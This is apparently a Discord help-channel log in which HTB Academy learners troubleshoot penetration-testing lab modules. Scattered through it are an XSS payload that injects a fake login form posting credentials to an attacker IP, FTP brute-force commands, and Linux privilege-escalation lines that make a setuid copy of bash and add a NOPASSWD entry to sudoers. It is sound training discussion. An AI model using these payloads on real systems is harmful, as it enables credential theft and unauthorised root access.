modules

[old oasis]

yes

[vivid sigil]

i did ||nc with source port but didnt work||

[gray yacht]

You can send me a DM.

[rocky mist]

its stuck on "Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 16:27 MSK"

[marsh echo]

Hello how are you ?

[gray yacht]

Good, just sipping coffee and messing around with stuff.

[old oasis]

are you sure its not just taking its time? It takes a while to scan 65535 ports

[marsh echo]

Can you tell me if you encountered this problem in the Windowsprivesc module?

[marsh echo]

Ahah for me monster it’s good 😂

[gray yacht]

So you are having issues with that section?

[marsh echo]

Hum kernel exploit

[gray yacht]

You can send me a DM so I can see what you have done.

[marsh echo]

I tried 3 techniques and the first I got the hash but pass the hash does not work and the 3rd technique I get the Shell but impossible to make orders on meterpreter

Ok thx

[fickle topaz]

Hello guys please I need help

on Attacking Common Services FTP

I’m trying to brute force the ftp with Medusa hydra and patator none are working

[gray yacht]

I assume you are attempting with the provided username and password lists in resources?

[fickle topaz]

Yes

The username is robin

[gray yacht]

Give me a sec and I will spin it up and run it on my end.

[fickle topaz]

ok thanks

[fickle topaz]

this was the command i used medusa -u robin -P pws.list -h 10.129.102.202 -M ftp -n 2121

[untold edge]

hello, i m having a problem with the xss phishing exercise if anyone can help, my payload works but i don't get creds

[twilit sentinel]

did u started php server on your pc?

guys it's assessment of sqlmap essentials, i got vector for attack and run sqlmap with tamper(blind based). But it gave me only ! as a content instead of an answer. Can u give me a hint?

[untold edge]

no i used python http.server module, i can get http requests but no creds, here is proof that i can inject phishing form :

[twilit sentinel]

maybe you didnt write proper js part of the server?

[untold edge]

why would I need that ?

[twilit sentinel]

your script should send cookies that it gets from site

[untold edge]

this is phishing not cookie stealing

[old oasis]

are you using default port for the hosting? Also have you checked the script that you are hosting is correct?

[untold edge]

80

[safe star]

did you use the html example from the module?

[untold edge]

i m simply using python3 -m http.server 80

[old oasis]

ok so make sure the script you are hosting doesn't have mistakes and double check the malicious url that you generated

[untold edge]

yeah ofcrs

'><script>document.write('<h3>Please login to continue</h3><form action=http://10.10.14.132/><input type="text" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" value="Login"></form>');document.getElementById('urlform').remove();document.querySelector('h1')?.remove();</script><!--

[rocky mist]

been 20 minutes, is that normal?

[old oasis]

I just tried it out with a php script and it works fine, it sent me the creds.

[untold edge]

are you talking with me ?

[safe star]

you sent it to the /send.php page?

[untold edge]

yeah, nothing happens

[old oasis]

Sometimes. You can retry if you think its hanging

[old oasis]

yes

[old oasis]

what module is it?

[rocky mist]

Network Enumeration with Nmap

[rocky mist]

im gonna retry it using -v to see if it will get stuck

[old oasis]

I haven't got to it yet so can't say. Shouldn't take that long imo

[untold edge]

can you send it them to me if my payload is correct ? i m clueless here, perhaps regenerate new vpn

[old oasis]

sure I DM

[gleaming nimbus]

Hello there! Does anyone know if we have anything related to apache server in the academy? Much appreciated, thank you

[shut vapor]

Any additional insight would be appreciated. I just tested kerbrute with sshuttle, but no luck. Does kerbrute rely on something more than straight TCP/UDP access to port 88 (e.g. broadcasts or layer 2 communication)?

[rocky mist]

i did that, where does it show me the number of all tcp ports?

[acoustic owl]

Apache is used in various modules. What exactly are you looking for?

Apache is used in various modules. What exactly are you looking for?

[old oasis]

did you get the output?

[rocky mist]

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 09:06 CDT
Nmap scan report for 10.129.2.49
Host is up (0.0087s latency).
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
110/tcp open pop3
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
31337/tcp open Elite

that

[gleaming nimbus]

Today I worked on the topology machine. For this you need to know the structure of apache and how it's configured. I know I can look online for this, outside htb, but I was curious if we have anything at all for apache itself, like searching for config files etc

[acoustic owl]

no, there is no module that explains to you how Apache or other webservers can/should be configured

[gleaming nimbus]

thanks, I lacked moving forward because of this, I had to look at guidance for some tips. Either way, lesson learned. Thank you! 🙂

[old oasis]

so how many are there?

[rocky mist]

do i add them up?

[old oasis]

you count them

[rocky mist]

OHHH LOLL, tyyyy

[gray yacht]

Hey you can DM me.

[fickle topaz]

ok

[rocky mist]

nmap -sC 10.129.132.145
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 17:33 MSK
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.14 seconds

why is it saying "host seems down"

[sacred jacinth]

use -Pn flag

[somber fiber]

Your ICMP ping got blocked by firewall

[quiet trout]

host is not respo ^

[shut vapor]

If I wireshark my ligolo interface and port scan the DC I see exactly what I would expect (e.g. a TCP 3 way handshake). If I run kerbrute, however, I don't see any traffic. It's like kerbrute is using the wrong interface??? And I don't see any options to adjust that behavior.

[safe star]

what module

that can mean a lot of things

[rocky mist]

Network Enumeration with Nmap

[somber fiber]

to make it work we use -Pn flage make nmap skip the ping check and make it assume the host is UP and proceed with scan directly

[quiet trout]

im not familiar with the tool but have you checked the man page? man kerbrute | grep -i "int*"

[somber fiber]

read the module its mentioned there

[safe star]

use -sn on it to check if its actually up

[somber fiber]

don't hit the machine directly read through the module

[safe star]

yeah most of the time

[rocky mist]

nmap -sn 10.129.132.145
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 17:40 MSK
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.00 seconds

[rocky mist]

alr lemme read it

[safe star]

are u on the vpn?

[rocky mist]

yep

[safe star]

try with sudo

[somber fiber]

command is running so it has nothing to do with the sudo

[shut vapor]

Are there even man pages for kerbrute? They're not available on my system of the system provided by the lab.

[somber fiber]

need to clear the concept.

[shut vapor]

Oh, not familiar with the tool.. no, I don't think there are man pages. No mention of an interface flag in the github.

[quiet trout]

i see, jsut checked the repo looks like it s -h you may need to -h each option for its sub help.

[safe star]

wym

[shut vapor]

Right. Yeah there isn't an interface option AFACT.

[quiet trout]

have you tried a canonical kerbrute cmd to see if you're getting any output expected as a sanity check?

or one you expect to work

a, simple one

[somber fiber]

sorry *module

[safe star]

oh, bro didnt even read first

[shut vapor]

I know kerbrute works if I run it on the provided host in the LAB environment. I don't understand why I can't use it through a pivot if TCP/UDP are open as verified by nmap. Wiresharking seems to reveal the traffic is being sent on a wrong interface or not adhering to routes. It's weird.

I would think running kerbrute through a proxy would be important because it's an early first step to establishing a next foothold.

[quiet trout]

are you using proxychains? is it outside the scope of the lab?

may want to just go at it the way the lab guides, then come back for the more advacned stuff after

[shut vapor]

I'm not using proxychains. Either sshuttle or -- even better -- ligolo where full TCP/UDP are available.

[quiet trout]

i believe you can set proxy options with nmap if that helps

[shut vapor]

yea, again, nmap isn't the problem.

[gray yacht]

Nah, as far as I recall, it just abuses the kerberos pre-auth, but I could be mistaken.

[quiet trout]

did you set proxy env vars in your terminal? i have to do this with burp

[shut vapor]

I wouldn't expect proxy environns are necessary when I'm routing. IDK if kerbrute adheres to any environmental variables like that. I don't see any mention in the docs.

[quiet trout]

certain certs may be required to decrypt encrypted traffic via proxy as well, keep that in mind.

export http_proxy=ip:PORT export https_proxy=ip:PORT

yes but if you're proxying thru terminal cmds the terminal may need them not kerbrute

not sure perhaps someone more familiar can give some advice

[shut vapor]

I'll have to try a traditional SOCKS proxy later. I tend to think sshuttle or ligolo are every bit as good and better, but maybe proxychains or setting the proxy in envions is the ticket.

[quiet trout]

https://github.com/ropnop/kerbrute/issues/32

[shut vapor]

Thanks, good find. That might have some insight to chew on.

[worn lily]

…

[shut vapor]

Wrong channel. You can try elsewhere. This is for HTB Academy Modules. If you can't see other channels go to #welcome and follow the instructions.

[old oasis]

Try #programming

[swift warren]

Trying to spawn a target in academy and it is just spinning. Is anyone else having issues?

[worn lily]

…

[dreamy oyster]

Is this channel for asking questions when stuck with a htb academy task?

[old oasis]

yes

[dreamy oyster]

Thank you for the fast reply

[old oasis]

Are you talking about the new job path, Active Directory Penetration Tester?

A cert is confirmed to be released soon so yes

yes

[dreamy oyster]

I am currently working through the "Information Gathering - Web Edition" Module and trying to solve the challenges for the Skills Assessment Chapter.

I am stuck with the Question " What is the API key in the hidden admin directory that you have discovered on the target system? "

I did add the shown IP with the vhost domain to the /etc/hosts file and am able to curl the site to receive the page.

But when trying to look for further directories or subdomains I am unsuccessful.

I tried gobuster dir -u http://inlanefreight.htb:<portnumber> -w <path-to-wordlist>

I also assumed that I know that the admin directory is available and tried to curl the http://inlanefreight.htb:<portnumber>/admin/robots.txt without any success as well

Any tips?

[sacred jacinth]

try to enumerate further

[old oasis]

why you assume there is an admin directory?

[dreamy oyster]

sorry for asking, but what do you mean by further?

[sacred jacinth]

if dir, and subdomain doesn't work is there anything else in the module which you have yet to try?

[dreamy oyster]

Because the question mentions a hidden admin directory, that has been discovered

[old oasis]

yes, but that doesn't necessarily mean the admin directory is named "admin"

keyword "hidden"

[dreamy oyster]

Good points, thank you both. I will try again and see what I might have missed

[sacred jacinth]

he is not there yet

[gray yacht]

So I spun up my lab and established a pivot through an Ubuntu host with sshuttle and then ran Kerbrute against a DC on an internal network and received accurate results. Not sure why it isn't working when you try it, but I just don't want you to think it doesn't work and not run it when you should.

[novel parrot]

can anyone help with file upload vulns skill assesment

just a tiny hint as to how to find the place files are uplaoded

TINY hint please

ik which one

but it only saysa "only images are allowed"

do i need to fuzz for the php?

cuz i thought it was on script.js

gotcha

thats all i need thank you

sry

[ocean night]

Please, no spoilers for modules over Tier 0

[novel parrot]

@hexed lintel wait... how can i do that if i dont get any response to it?

[ocean night]

Take it to DM. Not here.

[novel parrot]

can i dm you dollarboysushil?

[novel parrot]

sry

[hexed lintel]

ok

[ocean night]

It's said so often here regarding public spoilers regarding modules over Tier 0

You can't not know by now.

[sacred jacinth]

it is definitely to make you understand that sometimes our selected wordlist won't really bear any fruits

#welcome

[chilly echo]

Thanksssss!!!

[thorny sluice]

For the Attacking Web Applications with Ffuf module I am one the question: One of the pages you will identify should say 'You don't have access!'. What is the full page URL? I found the private sub domains and am getting no where and I triple checked my /etc/hosts file: for some reason I can't reach my any of my domains

[old oasis]

you remember to use the right port?

[thorny sluice]

I switch the last 2 numbers on the port, thx

[fleet pawn]

Hi. Im using the comand ss -l -4 | grep -v 127.0.0.1 | wc -l
For the question of the linux fundamentals module: How many services are listening on the target system on all interfaces? (Not on localhost and IPv4 only)

But i dont understand what is wrong

[gray yacht]

I know I have no idea which section of that module this is from, so I recommend providing more information as it can help someone drill down exactly where you are in your learning.

[normal sand]

Anyone got any idea about this #modules message ?

[fleet pawn]

Filter contents in the linux fundamentals module

[gray yacht]

Ah, there are a few ways to do this one. I used netstat.

[shut vapor]

Thank you so much for the sanity check! This is your lab, not an HTB thing?

Time for me to spin up a couple more virtuals if so... Also so weird I'm not having luck.

[gray yacht]

I would suggest re-reading the question and being more explicit with what you are using with grep. If you are still unsure after poking around, feel free to DM.

[gray yacht]

Yeah that's my home lab that I mess around with.

[gray yacht]

You can send me the lab you tried it on and when I have some time, I will check it out on my end.

[shut vapor]

Ad enumeration & attacks > initial enumeration of the domain.

If you've got the time I'd love to know if I'm missing something.

[ocean night]

Tier 2 module, don't post content that may spoil for others. Be vague asking for advice on such things.

[hard matrix]

Did this recently if you want to dm me.

[ocean night]

Oh my god read the chat

[normal sand]

My bad, noted.

[ocean night]

If you want advice on modules above Tier 0, then mention the module / section, and someone might reach out in DMs

[normal sand]

Module: Linux Privilege Escalation
Section: Logrotate
Link to section: https://academy.hackthebox.com/module/51/section/1589

Having trouble with the question at the end of the section (can't say more without revealing details). My DMs are open, would appreciate any help. Thanks.

[reef jay]

Did anyone solve "Attacking Common Services - SQL Databases"?

[forest gust]

@hard matrixyou can write again what you seid.

[ocean night]

Thank you 🙂

[hard matrix]

from what i saw you're just assigning $cmd to a value but not doing anything with it

[hard matrix]

we can't ask nonspecific questions as long as we dont directly include module material?

[old oasis]

Sorry friend. We will do better 🙂

[ocean night]

For modules over Tier 0, generally mentioning the module and section you are struggling with, and a vauge description of the trouble you are having without providing screenshots, CLI output, etc etc, whatever could be considered as spoiling the steps for others is fine

Otherwise I'd advise asking for DMs from someone that is willing to provide you with advice

Advice

There's a big difference between providing a nudge in the right direction, and flat out providing the answer

[hard matrix]

absolutely

[ocean night]

Take it to DMs @forest gust

AAAAAAAAAAAH

https://tenor.com/view/this-is-fine-gif-24177057

[hard matrix]

lol moderating these chats has got to be a nightmare

[peak berry]

😅

[forest gust]

🫡

[ocean night]

Not a moderator, but try to keep an eye on things now and again

Love the HTB community, but I also need to watch out for the companies best interests regarding our content and services 🙂

[gray yacht]

I just spun it up and I am not having an issue running it. I can DM a screenshot if you'd like.

[shut vapor]

I appreciate the offer. I got through but my issue is why kerbrute won't work on my attack host; won't go through sshuttle or ligolo. If you have insight, drop some wisdom.

[hard matrix]

@forest gust you can feel free to dm me the link to the mod you're working on, i think i did this a couple weeks ago but it looks like you should read the module more and see exactly what the lesson is guiding you to do, the screenshot you posted suggested you're supposed to be modifying that $cmd line in a POC script from what i saw (could be wrong)

there's lots of ways to execute and retrieve a revshell on a box

[shut vapor]

Sure, send the screen. I really appreciate the check. I'm really losing my marbles over this one 😅

[hard matrix]

No issue
in my experience in the first place kerbrute can be unstable but that's a pretty non-specific unhelpful non-answer
also I prefer chisel :^)

[gray yacht]

Sent

[rocky estuary]

i'm trying SSH for Windows: plink.exe i already downloaded openvpn and ssh to the ubuntu using plink and downloaded proxifier but i can't RDP to the windows host

[sick whale]

What do you mean by "you can't" ?
Be more specific with the issue, error message etc...

[rocky estuary]

"remote desktop can't connect to the remote computer for on of the reason"

1. remote access to the server is not enabled
2. the remote computer is truned off
3. the remote computer is not available on the network

[sick whale]

Give me a sec I open the module

Ah yeah this one was a bit*& haha
Check that after adding the SOCKS proxy in Proxyfier, you actually see it in the list of existing proxies if you do as if you were to add a second one

Because when I did it, the server was disappearing for some reason, and so I was under the impression I had a proxy set up, when I hadn't

[rocky estuary]

i went to the proxy server i can see it there like in the pic in the module i used ip 127.0.0.1 and port 9050 and socks4

i'm already ssh to the ubuntu machine using plink -ssh -D 9050 ubuntu@10.129.202.64

there's check feature in proxifier i ran it get an error saying testing failed

[25:04] Testing Started.
Proxy Server
Address: 127.0.0.1:9050
Protocol: SOCKS 4
Authentication: UserID only

[26:13] Starting: Test 1: Connection to the Proxy Server
[26:13] IP Address: 127.0.0.1
[26:13] Connection established
[26:13] Test passed.
[26:13] Starting: Test 2: Connection through the Proxy Server
[26:13] Connection to www.google.com:80 established through the proxy server.
[26:20] Error : connection to the proxy server was closed unexpectedly.
Please make sure that the target host is a Web Server.
The error may also indicate that the proxy server is not operating properly.
[26:20] Test failed.
[26:20] Testing Finished.

[sick whale]

This test doesn't matter, the target machine doesn't have access to Internet

so it will never pass that test

You try to RDP with mstsc.exe right?

[rocky estuary]

yes using the windows machine ip "172.16.5.19"

[sick whale]

Ok gimme a sec I try

[rocky estuary]

maybe its the port ?

[median gale]

Cant RDP but can connect with Evil-winRm and ping it. changed 3 vpn servers with no results. Happened to anyone before?

[bright seal]

ok

[limpid hemlock]

Hey in the exploiting web vulnerabilities in the thick client aplications section it has a SQL INJECTION SECTION in that we need to exploit with a or 1 = 1 payload i tries tonuse this payload in the traverse.jar executable file which we used to download a fatty server jar file to the desktop but it isnt showing me any thing can someone help me

[fast hatch]

hi

for the module Intrusion Detection With Splunk (Real-world Scenario) im struggling on the question Navigate to http://[Target IP]:8000, open the "Search & Reporting" application, and find through SPL searches against all data the method through which the other process dumped lsass. Enter the misused DLL's name as your answer. Answer format: _.dll
my answer is ntdll.dll but that doesn t work

im stuck

[ocean night]

@uneven cairn then I'd recommend breaking down each part of the command to see what exactly it is doing, and what the description of the command is trying to convey.

The man command has been used to look at the ASCII table. Perhaps use it to look at what the other command being used does.

[median gale]

Does Rubeus need Admin privileges to run properly?

[ocean night]

You should be able to assume what the command does based upon the section content, but if you need to check it further then read the manual for the command.

[uneven cairn]

echo $(tr '!-}' '"-~'<<<[) this is the part that confuses me

[steel trail]

Hi. I am doing NMAP module on academy (https://academy.hackthebox.com/module/19/section/108) and flag I found is not accepted. Hint suggests to look for the flag in web service, but I think it is incorrect. Is anyone able to confirm that? Very simple module and it shouldn't take more then 5 min including spinning the target and pwnbox. I appreciate your time and help.

[ocean night]

Yes.. read what I said man

[cloud urchin]

chatgpt can break down every part of the command for you if you ask it

[ocean night]

The module section literally says what it does 😐

Good luck

[uneven cairn]

I had already done that before asking on discord, there is no need to assume that I didn't do it and that I'm being lazy

[cloud urchin]

and there is no need to assume i knew that, chatgpt is a great resource people don't use and you never said you tried that first or what part of it you aren't getting even after a detailed explanation

part of asking the question is saying what you've already tried and you neglected to say that so its not on me

[uneven cairn]

Yes, it says what it does in a summarized way and does not break down the command that it is using as it usually does, believe me I almost never have problems understanding a part of the code in HTB academy but in this part, it is not fair to say that "it says there" I mean yes it says but I seek to understand better I do not seek to ask unnecessary questions

[shut quest]

If you can maybe be more specific about what it is that you're not understanding could help others. As far as that section goes it's basic string manipulation.

[ocean night]

Have you read the manual for the other command used to see what it does?

[frosty tide]

Hello, I'm trying to do the fortress Akerva but couldn't access it, can anyone help me guide on this

[uneven cairn]

Yeah

[shut quest]

See #welcome and #fortresses

[old oasis]

wrong channel friend

[ocean night]

What does it do then @uneven cairn ?

[frosty tide]

Which chanell should I be for asking on lab fortress and other

[old oasis]

Gubarz just linked them

[uneven cairn]

I'm starting to lose my temper, I'll stop this conversation here, thanks for your help

[ocean night]

What is the other command being shown in the content?

Ok, I'm trying to help, but it's very difficult with how you're communicating.

Best of luck, and sorry if I have caused you distress.

[uneven cairn]

Don't worry goblin, I say this because it stresses me out not being able to understand well, I will take some time to analyze well what each command does and then I will continue with the module

[old oasis]

Sometimes a break is all you need.

[median gale]

Bruv where u stuck?

[ocean night]

I understand the frustration. It will click. A break is always good when you are stuck and frustrated.

[gray yacht]

If you think you have the correct flag and it is not being accepted, double check that the flag does not contain and extra spaces in the front and end of the flag. You can also refresh your screen and also double check that the lab machine is still running.

[frosty tide]

I see because I didnt verify yet so most channel not accessible, anyway thank you

[limpid hemlock]

???

[ocean night]

Wanna send me your Academy ID to check what's up Vador?

[steel trail]

I terminated both instances and refreshed page. started from beginning and made sure there is no spaces before or after. Flag is in a format HTB{xxxxxxxxxx}

[gray yacht]

You can send a DM if you'd like.

[ocean night]

Ok, all I can say is that's not the correct answer for that question @steel trail

Given more context in DM

[cloud urchin]

[safe star]

Did u edit the correct things?

[old oasis]

why are you posting this here

this channel is for HTB Academy modules help

[sleek urchin]

need sanity check for Advanced Deserialization Attacks: Skills Assessment

any one to DM ??

[rocky estuary]

guys i'm trying to use rpivot i ran the server.py on my side and uploaded it and ran it on the pivot host and established a connecting but i can't reach the webpage i made sure i ran firefox with proxychains but its not working

[sick whale]

try curl

[rocky estuary]

i tried it with sshuttle and it worked but with rpivot its not working

[sleek urchin]

The idea behind each tool is to give you an alternative, to break from the idea that there is only one correct tool

[rocky estuary]

yeah i understand this why i want to use each one and learn how to use it if needed already found the flag i want to understand why its not working

[rocky estuary]

didn't work i tried even ping sweep with nmap and didn't work

[sleek urchin]

my suggestion is to get the answer to the question and move on, unless you wish to get deeper and find the root of the problem assuming that you have the necessary knowledge and tools to do so

[safe star]

i64 got aura

[river marsh]

why am i pretty consistently getting a different response than what the example says when i try to curl inlanefreight.com with different flags

[safe star]

What module

[river marsh]

https://academy.hackthebox.com/module/35/section/223 HTTP headers, im running curl -I https://www.inlanefreight.com but am missing a lot of headers that the example shows

[rocky estuary]

with curl this is the error i get "curl: (35) gnutls_handshake() failed: An unexpected TLS packet was received."

[river marsh]

HTTP/1.1 200 OK
Date: Sun, 22 Sep 2024 21:29:39 GMT
Server: Apache/2.4.41 (Ubuntu)
Link: <https://www.inlanefreight.com/index.php/wp-json/>; rel="https://api.w.org/"
Link: <https://www.inlanefreight.com/index.php/wp-json/wp/v2/pages/7>; rel="alternate"; type="application/json"
Link: <https://www.inlanefreight.com/>; rel=shortlink
Content-Type: text/html; charset=UTF-8

this is what my output is btw

[safe star]

Pretty sure they just added fake info to the command

[river marsh]

[safe star]

I don’t think the site even gives cookies

[tender nimbus]

Hey guys im stuck on payloads and shells module

trying t do following command, i desactivated te antivirus but no succes

[ocean night]

There are a lot of syntax errors..

[dim wolf]

i think that's meant to be ||run in Command Prompt||

[tender nimbus]

my bad

[ocean night]

How did you come up with that

[tender nimbus]

it was a cmd command

[dim wolf]

precisely because of the syntax errors

[ocean night]

Urgh nope, not getting involved

[dim wolf]

if you encoded the command you can run it without any issue

but yea syntaxes between the two shells aren't the same

[tender nimbus]

but with powershell in the beginning it calls powershell to execute it no?

ow okej its pure syntax thats why it wasent working

right?

[dim wolf]

yea, you're running the command in powershell so it's going to process the syntax as powershell syntax

[tender nimbus]

okej thanks you 🙂

[ocean night]

Ah, Starting Point?

[mental fog]

..

[rocky estuary]

"Port Forwarding with Windows Netsh" is not working i ran netsh on the windows pivot machine and forwarded the connecting but when i try to rdp again to 172.16.5.19 i get an error saying broken pipe

i tried to rdp to the pivot with port 8080 didn't work also

[cloud urchin]

sounds like something isn't setup correctly then

[rocky estuary]

when i do the verifying port forward i get this output

Address Port Address Port

---

10.129.15.150 8080 172.16.5.19 3389

[safe star]

Kinda hard to troubleshoot this module from the outside

There’s a lot of commands that need to be setup

[uneven cairn]

Command Injections
Bypassing Space Filters

It doesn't return any error nor the expected result, I expect an output to ls /home

[cloud urchin]

the module says a great way to find out, remove all the injection characters and start adding them back 1 by 1 until it stops working, and that's how you can find which one it's being stopped at

[rocky estuary]

these the steps i did:
1- connected to pivot host using xfreerdp
2- after that i ran netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.15.150 connectport=3389 connectaddress=172.16.5.19

3- after that i tried to rdp to 172.16.5.19 and 10.129.15.150 and 10.129.223.253 with port 8080 and didn't work

these the steps mentioned on the module i'm missing something should i use proxychains ? because its not mentioned

[uneven cairn]

It's already solved but in that module it should also work by character shifting, right?

[ocean night]

FFFFFFFFFFFF

[rocky estuary]

solved it it was the listenaddress my bad

[jolly shore]

please can i anyone help me , ls is not working on smb connection https://academy.hackthebox.com/module/147/section/1327

[sick whale]

My turn to ask a question:

Try to RDP on the Intro to AD first lab machine, and getting this:
[19:18:38:575] [160747:160748] [ERROR][com.freerdp.core] - rdp_set_error_info:freerdp_set_last_error_ex ERRINFO_LOGOFF_BY_USER [0x0001000C]

Already reset the target, no change.
I could RDP on all other modules target so far, first time I have an issue.

Could that be a connection issue / VPN ?
ping is pretty high to the machine but 💁‍♂️

[sleek urchin]

any help is well appreciated.

[shut vapor]

Are you on "Initial Enumeration of the Domain"? I'm getting "login failed for diplay 0" myself where RDP had worked the last time I loaded the module. I'm terminating and respawning the lab now.

[sick whale]

I'm in:
AD Administration: Guided Lab Part I

[shut vapor]

Sorry, I'm on AD Enumeration & Attacks.

[sick whale]

Could it be they have issues overall on AD? Not sure how these are set up

[shut vapor]

Terminating and restarting my lab worked to resolve the issue. Sometimes, especially with AD labs that could involve multiple systems, it might take a few minutes after the lab is "spawned" for everything to startup.

[sick whale]

Ok thanks will reset and wait 5-10min before trying to connect

[hard matrix]

I had the same issue and was going crazy.
My problem was that I was using an old password and didn't realize they changed up RDP passwords inbetween sections. So make sure you're using the right one.

[uneven cairn]

Use what you learned in this section find the content of flag.txt in the home folder of the user you previously found. i mean in /home is just the flag of the previous section

[rough comet]

I am stuck on question 3 of LDAP module - Search Filters: Find the name of an account with a ServicePrincipalName set that is also a member of the Protected Users group. I am using :

Get-ADUser -Filter "adminCount -eq '1'" -Properties * | where servicePrincipalName -ne $null | select SamAccountName

but is not accepting it as answer

Can someone please tell me what's wrong?

[dense lava]

I'm hitting errors on the cme module, the group policy object spider is erroring out saying NetBIOS timed out. It enumerated the shares then starts spidering and errors. I've added the host and domain to /etc/hosts but I'm lost now

[thorny sluice]

For module Info-gathering web edition I'm stuck on the skill assement question What is the API key in the hidden admin directory that you have discovered on the target system? I have my /etc/hosts configured properly and ran multiple scans

[next bronze]

this command should work

[next bronze]

network problem, check your connection and try switching vpn servers

[rough comet]

This one is working , kinf of, but cannot filter by SPN set: Get-ADGroupMember -Identity "Protected Users"

[dense lava]

Pwnbox, reset both attacker and target machine, issue persists

Every other attack is working pre and post that one

[next bronze]

filter by admin count

[rough comet]

It is giving me the wrong account

[next bronze]

yes the vpn server affects pwnbox connections too

[rough comet]

how

I do not see that property

[next bronze]

pretty sure the last command in the section should work

I'll check it in a bit

[rough comet]

Thanks

[next bronze]

ah ok you need to find the group then serch for the user

[rough comet]

Indeed, lol

Maybe I need to pipe?

but I do not know

Find the group, then loop or pipe via Get-ADUser ?

[normal sand]

Module: Linux Privilege Escalation
Section: Logrotate
Link to section: https://academy.hackthebox.com/module/51/section/1589

I'm working on the question at the end of the section.

I managed to rotate the log file but didn't receive a reverse shell.

[rough comet]

This one should work: Get-ADGroupMember -Identity "Protected Users" | Get-ADUser -Properties * | where servicePrincipalName -ne $null | select name

but it is not

It is returning two accounts, one of them is the correct one

[next bronze]

it's a bit of a pain to write cause you need to chain multiple cmdlets together

Get-ADGroup -Filter "adminCount -eq 1" | ForEach-Object { Get-ADGroupMember -Identity $_ | ForEach-Object { Get-ADUser -Identity $_ -Properties SamAccountName, MemberOf, servicePrincipalName | Where-Object { $_.servicePrincipalName -ne $null } } }

[rough comet]

https://tenor.com/view/faint-fainting-catch-me-gif-19205245

dang, lol

[gray yacht]

Be sure to scan everything.

[next bronze]

try using a suid binary or giving yourself sudo instead of making a shell because the window to catch it is very short

[rough comet]

so yeah, I need a loop

[next bronze]

yep

[rough comet]

Jesus Christ. I would have never done that, not tonight.

[dense lava]

Issue persists

[thorny sluice]

I tried repeatedly ffuf, dnsenum, the scapy web scraper

[normal sand]

Oh, so this should work since logrotate runs as root? Btw how do I check what logrotate runs as?

[gray yacht]

You can send me a DM to show what you have tried.

[next bronze]

the service run as root iirc since it's a system service

[thorny sluice]

Will do

[next bronze]

idk worked for me before, see if you have better luck with netexec, otherwise contact support

[rough comet]

do we need this type of skills or deep knowledge later on the module? or it is just showing the basics of filters? In other words, would I be ok just moving on? it seems like the next section will use PowerView? I just do not want to spend a lot of time learning PS Loops. If not needed for this module. I know it would be nice, but trying to be practical.

[normal sand]

I see. So it always runs as root then.

[normal sand]

Uhh, how do I do this? I tried running this as the payload, but it clearly didn't work since a bash binary didn't show in my home directory.

#!/usr/bin/bash

cp /usr/bin/bash /home/htb-student/bash
chmod +s /home/htb-student/bash

I even tried this script as the payload, but it didn't work.

#!/usr/bin/bash
echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers

[gray yacht]

I'm heading to bed, so if you are still stuck on this tomorrow, feel free to DM me.

[thorny sluice]

Sounds good

[next bronze]

if nothing happens that means the exploit isn't being triggered

[normal sand]

I thought that may be the case, so I retraced my steps. I compiled the exploit on the target and I used the proper syntax, so I'm unsure what the issue could be.

[next bronze]

you'll just need to understand how they work, for the most part you won't be writing much powershell scripts, there are other tools like powerview as you said and bloodhound, and also chatgpt to help you write commands

[rough comet]

Funny, being using ChatGPT to assist myself on this question, lol...

Thanks @next bronze ... calling the night, appreciate your help.

[next bronze]

did you find the file you can write into to trigger the rotation?

[normal sand]

I managed to figure out what the problem is. I have the bash binary in my home directory now, but how do I execute it? 😅

[next bronze]

bash -p

[normal sand]

Thanks

[normal sand]

These permissions looking a little weird. Is it cuz the setuid bit is set?

[next bronze]

that doesn't look right, it should show as root

[normal sand]

I added myself to the sudoers file but when I use su it prompts for a password and then fails even when I provide the password.

[next bronze]

sudo?

[normal sand]

?

[next bronze]

sudo su

[normal sand]

Ahh, nvm, that worked.

Don't know why I was trying just su.

I think in an earlier exercise for some weird reason sudo su wasn't working but just su was.

[dense lava]

Netexec same issue, seems to happen with spidering so I've hit the helpline. Thanks for your help

[elder kraken]

Hello, I have a problem with the flag I found in SQLMAP - Skills Assessment. I've found the flag and I'm sure of it, but the flag in question doesn't work, or rather it seems that the other part of the flag is missing. Can you help me?

[boreal briar]

Just a question about Nmap options.
I noticed that these three: ' -Pn -n --disable-arp-ping ' are always used together. Is it done so to avoid sending too many unwanted packets (ICMP, ARP) which get sent to the target by default? And also to avoid Firewall/IDS from picking it up?

Please correct me if I am wrong

[next bronze]

no, I have notes for them but I don't memorise them. if i work with ps daily maybe I will

tbf if you know how to read and have some knowledge just get chatgpt to write the base and you can debug or fix whatever dumb thing it might spit out

[eager ledge]

Hi,

Module: Web Attacks
Section: Advanced File Disclosure
Link to section: https://academy.hackthebox.com/module/134/section/1206

For error based XXE, I don't understand why we need parameter entities. Is it because we are trying to join the non-existing entity and and %file entity. Why is there an extra entity content? It is not even used anywhere.

[dreamy kiln]

Hello, i have a problem with spawning the target, yesterday I tried to spawn it and it still hasn't started. Is it possible to stop the launch and try again? (Skills Assessment - Advanced XSS and CSRF Exploitation)

[young smelt]

Use what you find on Arturo's Desktop.

[normal sand]

Module: Linux Privilege Escalation
Section: Miscellaneous Techniques
Link to section: https://academy.hackthebox.com/module/51/section/478

I'm working on the question at the end of the section.

I'm unable to execute the shell I compiled since the version of GLIBC present on the target is older than the version I compiled the program with. How can I tackle this issue?

[uneven cairn]

i know the payload is right because did it work but sometimes work sometimes no, why? now is not working i can resend the request any times and still no working for somereason: ```
POST / HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://ip:port/
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
